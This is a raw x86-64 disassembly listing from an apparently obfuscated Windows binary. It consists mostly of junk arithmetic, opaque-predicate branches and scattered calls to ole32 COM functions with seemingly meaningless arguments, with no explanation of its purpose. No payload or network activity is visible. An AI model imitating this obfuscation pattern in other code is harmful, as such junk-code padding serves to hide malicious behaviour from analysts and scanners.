shl eax, 3
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
xor eax, 0x3a05d1cf
mov dword [rbp + 0x35b4], eax
shr qword [rbp + 0x162e8], 6
mov eax, dword [section..data]
or eax, 0x467ef452
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x68f7cac6
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
sub eax, 5
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movabs rax, 0x19b22dc71d38b92a
add qword [rbp + 0x162e8], rax
mov eax, dword [rbp + 0x3d50]
add eax, 0x66a8c94d
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xb08f098427c36b7c
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x472eaec3
mov dword [rax], edx
movzx eax, word [rbp + 0x2ee]
xor ax, 0x1680
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
cmp dword [rbp + 0x16324], 0xd1b0
ja 0x14000545a
mov eax, dword [rbp + 0x3d50]
or eax, 0x74d927aa
mov edx, eax
mov eax, dword [section..data]
cmp edx, eax
jle 0x140005909
movzx eax, word [rbp + 0x302]
and ax, 0x2229
mov word [rbp + 0x2ee], ax
lea rax, [rbp + 0x2d10]
mov rdx, rax
lea rax, str.alveolar_Drily_Unaccompanied
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgID]
call rax
mov dword [rbp + 0x2aec], eax
movzx eax, byte [rbp + 0x51f]
add eax, 0x2b
mov byte [rbp + 0x51f], al
lea r8, [rbp + 0x3d50]
lea rdx, [rbp + 0x16d8]
lea rax, [rbp + 0x1e88]
lea rcx, [rbp + 0x302]
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 0xc8
lea rcx, [rbp + 0x35b4]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0x9a
mov r9d, 0x1a
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
call rax
mov dword [rbp + 0x1599c], eax
mov eax, dword [rbp + 0x3d50]
sub eax, 0x7650abe8
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movabs rax, 0x50e572c10f4beca6
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and eax, 0x3d197721
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x81af54a69a891f14
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x4328]
add ax, 0x7f7
mov word [rbp + 0x232e], ax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x4a46deaa
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
xor edx, ecx
mov dword [rax], edx
mov eax, dword [rbp + 0x3d50]
sar eax, 0x1f
mov dword [section..data], eax
sub dword [rbp + 0x163a8], 0x79
movabs rax, 0xc593807fb6cf4f32
or qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, 0x51db9309
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x36337ba1c785987f
add rax, rdx
mov qword [rbp + 0x4e8], rax
movzx eax, byte [rbp + 0x51f]
add eax, 0x16
mov byte [rbp + 0x51f], al
movzx eax, byte [rbp + 0x51f]
sub eax, 0x38
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x5074c4b047d204c5
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x3d50]
and eax, 0x68b93a0a
mov dword [section..data], eax
mov eax, dword [section..data]
add eax, 0x1c31ecd4
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xb3280dbe997fb615
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x34d0dcb8
mov dword [rbp + 0x35b4], eax
movabs rax, 0x547e055cf743bd1d
or qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
cmp dword [rbp + 0x163a8], 0x7b88
ja 0x140005909
movzx eax, byte [rbp + 0x51f]
cmp al, 0x68
jbe 0x140005bd5
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
and ax, 0x677d
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
cmp eax, 0x17c
je 0x140005bc4
cmp eax, 0xc7c
jne 0x140005d1e
mov edx, dword [rbp + 0x35b4]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0xd
mov edx, 0x52
mov ecx, eax
call fcn.1400e3877
jmp 0x140005bf9
mov rax, qword [sym.imp.ole32.dll_CoImpersonateClient]
call rax
mov dword [rbp + 0x159a8], eax
jmp 0x140005bf9
movzx eax, byte [rbp + 0x51f]
xor eax, 0xffffff89
cmp al, 0xb1
ja 0x140005d1e
movzx eax, word [rbp + 0x2ee]
sub ax, 0x5ff4
mov word [rbp + 0x302], ax
jmp 0x140005d1e
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xba571d78a321afdd
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [section..data]
sub eax, 0x6270abe2
mov dword [rbp + 0x3d50], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x560260aac9853609
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x5e3d3531
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x2b0fae2108d23ccb
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
add dword [rbp + 0x16374], 0xd1
movzx eax, word [rbp + 0x302]
add eax, eax
mov word [rbp + 0x2ee], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xd110c0335f32b4e
or rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x3d50]
sar eax, 0x14
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x3f459d24bc2e7efd
xor rax, rdx
mov qword [rbp + 0x4e8], rax
cmp dword [rbp + 0x16374], 0xebe6
jbe 0x140005bfe
mov rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov dword [rbp + 0x1633c], 0xb09c
movzx eax, word [rbp + 0x2ee]
cwde
cmp eax, 0x6e7c
jne 0x140005d6e
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and eax, 0xedb6ce03
mov dword [rbp + 0x35b4], eax
jmp 0x1400e24c2
movzx eax, word [rbp + 0x4328]
mov word [rbp + 0x27c], ax
jmp 0x14000615f
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
movzx eax, byte [rbp + 0x51f]
add eax, 0x6c
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x302]
sub ax, 0x14fe
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x324cf61fe91531e
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x54a71104
mov dword [rax], edx
mov eax, dword [section..data]
add eax, 0x513d1e72
mov dword [rbp + 0x3d50], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x7dce0aab1ea3b668
and rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, 0x1c0f499e
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
xor rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x2ee]
shl eax, 0xc
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x51f]
shr al, 5
mov byte [rbp + 0x51f], al
mov eax, dword [rbp + 0x3d50]
sub eax, 0x6c3709e0
mov dword [section..data], eax
mov eax, dword [section..data]
add eax, 0x23d2a712
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and eax, 0x8aa9edc6
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x8d36326d808fe79f
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x8f389199186cf21f
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x2be59cb7a0f419d0
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x3d50]
add eax, 0xe44c270
mov dword [section..data], eax
mov eax, dword [section..data]
add eax, 0x74d2e84e
mov dword [rbp + 0x3d50], eax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
shl edx, 0x1e
mov dword [rax], edx
mov rax, qword [rbp + 0x3798]
shr rax, 0x25
mov qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x4b08d7605641de5e
xor rax, rdx
mov qword [rbp + 0x4e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, 0x354834e
mov dword [rax], edx
movzx edx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x232e]
and eax, edx
mov word [rbp + 0x27c], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xaf11d253e589f27
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
sub ax, 0x2604
mov word [rbp + 0x2ee], ax
mov eax, dword [rbp + 0x3d50]
and eax, 0x692f2566
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x30b1576f
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xd03d4360b904d958
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x4e9c52f5b3ea365b
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x86d1791acdcf335
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sar rdx, 0x1c
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
xor edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x16364], 0xdd
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, word [rbp + 0x302]
or ax, 0x714b
mov word [rbp + 0x2ee], ax
mov eax, dword [rbp + 0x3d50]
and eax, 0xbdf4b9b
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x62e295d2
mov dword [rbp + 0x35b4], eax
cmp dword [rbp + 0x16364], 0xcc50
ja 0x140005d81
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x11454f5d6f03dd18
add rdx, rax
mov rax, qword [rbp + 0x4e8]
cmp rdx, rax
jge 0x1400061e3
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x6a788f3cea10508d
add rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
movzx r8d, al
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
movzx eax, word [rbp + 0x27c]
movzx edx, ax
mov rax, qword [rbp + 0x4e8]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call fcn.1400e28b4
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp eax, 0xc307c0ce
jne 0x140006226
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x3011d47558599918
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [sym.imp.ole32.dll_CoImpersonateClient]
call rax
mov dword [rbp + 0x2aec], eax
jmp 0x1400e24b0
nop
movzx eax, byte [rbp + 0x51f]
sub eax, 0x32
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x7621233e55a3aff3
add rdx, rcx
mov qword [rax], rdx
movabs rdx, 0x8eb7746e423a4db2
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x7477
mov word [rbp + 0x302], ax
mov eax, dword [rbp + 0x3d50]
add eax, eax
mov dword [section..data], eax
add dword [rbp + 0x16360], 0x1c
mov eax, dword [section..data]
xor eax, 0x36a307f4
mov dword [rbp + 0x3d50], eax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
shr edx, 0x12
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x27c], ax
movzx eax, word [rbp + 0x232e]
movzx edx, word [rbp + 0x4328]
sub eax, edx
mov word [rbp + 0x27c], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x422
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x531c718a44935108
add rdx, rcx
mov qword [rax], rdx
movabs rax, 0x308725f6e2b55fe4
and rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov eax, dword [section..data]
sub eax, 0x69ab5f5a
mov dword [rbp + 0x3d50], eax
cmp dword [rbp + 0x16360], 0xf824
jbe 0x140006225
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x72a2483a
mov edx, dword [rbp + 0x35b4]
cmp edx, eax
jb 0x1400067c9
mov eax, dword [rbp + 0x35b4]
lea edx, [rax - 0x14b951df]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp edx, eax
je 0x1400067c9
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
shl rax, 0xe
mov qword [rbp + 0x4e8], rax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
cmp eax, 0x9b9
jne 0x140006420
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, 0xc7693dba
mov dword [rax], edx
jmp 0x140006432
movzx eax, word [rbp + 0x302]
sar ax, 1
mov word [rbp + 0x2ee], ax
nop
jmp 0x1400067c9
sub dword [rbp + 0x16408], 0xb
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
xor edx, 0x25a16b35
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x232e]
movzx edx, word [rbp + 0x27c]
sub eax, edx
mov word [rbp + 0x4328], ax
mov eax, dword [rbp + 0x3d50]
add eax, 0x4687ec7f
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x5bb42d67
mov dword [rbp + 0x35b4], eax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x76c57868
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x55d967fadb2473d7
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
and ax, 0x57db
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x302]
sub ax, 0x220
mov word [rbp + 0x2ee], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
shl rdx, 0x2a
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
xor ax, 0x1848
mov word [rbp + 0x2ee], ax
mov eax, dword [rbp + 0x3d50]
sar eax, 6
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
or rdx, rcx
mov qword [rax], rdx
mov eax, dword [section..data]
sub eax, 0x37772c7b
mov dword [rbp + 0x3d50], eax
movabs rax, 0xfe71b9bcec954578
and rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x51d69d78
mov dword [rbp + 0x35b4], eax
movzx eax, word [rbp + 0x232e]
movzx edx, word [rbp + 0x27c]
sub eax, edx
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x37ad
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x51f]
add eax, 0x62
mov byte [rbp + 0x51f], al
movzx eax, byte [rbp + 0x51f]
add eax, 7
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
movabs rdx, 0x86ad465f35a6839
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and eax, 0xf889d797
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x764604e09db0169f
or rax, rdx
mov qword [rbp + 0x162e8], rax
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x27c]
xor eax, edx
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x302]
add ax, 0x15b5
mov word [rbp + 0x2ee], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x29ac61ac7d6c0124
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x3d50]
and eax, 0x38a58ed4
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x37b8e0bd
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x93689632c3ffb683
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [section..data]
add eax, 0xdf5f867
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x723ddc13
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xa4b4bc7d4c11cc99
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
movzx eax, byte [rbp + 0x51f]
sub eax, 0x55
mov byte [rbp + 0x51f], al
mov eax, dword [rbp + 0x3d50]
shl eax, 0x19
mov dword [section..data], eax
cmp dword [rbp + 0x16408], 0xdcc2
ja 0x140006437
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x7767a265d4aaaed4
or rax, rdx
mov qword [rbp + 0x162e8], rax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sar rdx, 0x15
mov qword [rax], rdx
mov eax, dword [section..data]
xor eax, 0xbb5b1ea
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x84bd7a61d38a2e16
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x2ee]
sub ax, 0x62a2
mov word [rbp + 0x302], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x79f67f71
mov dword [rax], edx
mov eax, dword [section..data]
add eax, 0x4d88aac5
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x33a83498
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x73ff9bf1f0d3cafb
add rax, rdx
mov qword [rbp + 0x4e8], rax
add dword [rbp + 0x163a0], 0x6b
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x852f9358ad321c44
or rax, rdx
mov qword [rbp + 0x162e8], rax
movzx eax, byte [rbp + 0x51f]
shr al, 7
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x2ee]
xor ax, 0x615a
mov word [rbp + 0x302], ax
movzx eax, word [rbp + 0x4328]
movzx edx, ax
movzx eax, word [rbp + 0x232e]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x27c], ax
movzx edx, word [rbp + 0x27c]
movzx eax, word [rbp + 0x4328]
and eax, edx
mov word [rbp + 0x232e], ax
mov eax, dword [rbp + 0x3d50]
add eax, 0x20245859
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x4783b7b6c3a5924e
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x764632bf
mov dword [rbp + 0x35b4], eax
cmp dword [rbp + 0x163a0], 0x8bd9
jbe 0x1400067d9
movzx eax, word [rbp + 0x302]
cwde
cmp eax, 0x6ef
je 0x1400069de
cmp eax, 0x2f7f
je 0x140006a95
jmp 0x140006b57
lea rcx, [rbp + 0x898]
lea rdx, [rbp + 0x2d10]
lea rax, [rbp + 0x32e0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
call rax
mov dword [rbp + 0x159a8], eax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x3e59248e
mov dword [rax], edx
mov eax, dword [rbp + 0x3d50]
cmp eax, 0xae7d096
je 0x140006a80
cmp eax, 0x4d1c3506
jne 0x140006b56
movabs rax, 0x8760d03017cabe58
and rax, qword [rbp + 0x162e8]
mov qword [rbp + 0x3798], rax
lea rax, [rbp + 0x3170]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleGetIconOfFile]
call rax
mov qword [rbp + 0x34b0], rax
movzx eax, word [rbp + 0x2ee]
sub ax, 0x117a
mov word [rbp + 0x302], ax
jmp 0x140006a90
mov rax, qword [sym.imp.ole32.dll_CoSuspendClassObjects]
call rax
mov dword [rbp + 0x10ec], eax
nop
jmp 0x140006b56
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x4040d00c8e83efd3
cmp rax, rdx
je 0x140006b49
movabs rdx, 0x42d26ffc2ffd15d6
cmp rax, rdx
jne 0x140006b4a
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x2ee]
cwde
lea edx, [rax - 0x7c21]
movzx eax, word [rbp + 0x302]
cwde
cmp edx, eax
jle 0x140006b27
mov eax, dword [section..data]
sar eax, 0xf
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x3798]
mov r8, rax
mov edx, 0x4e
mov ecx, 0x2b
call fcn.1400e2f68
jmp 0x140006b4a
lea rdx, [rbp + 0x3d50]
lea rax, [rbp + 0x2910]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetPSClsid]
call rax
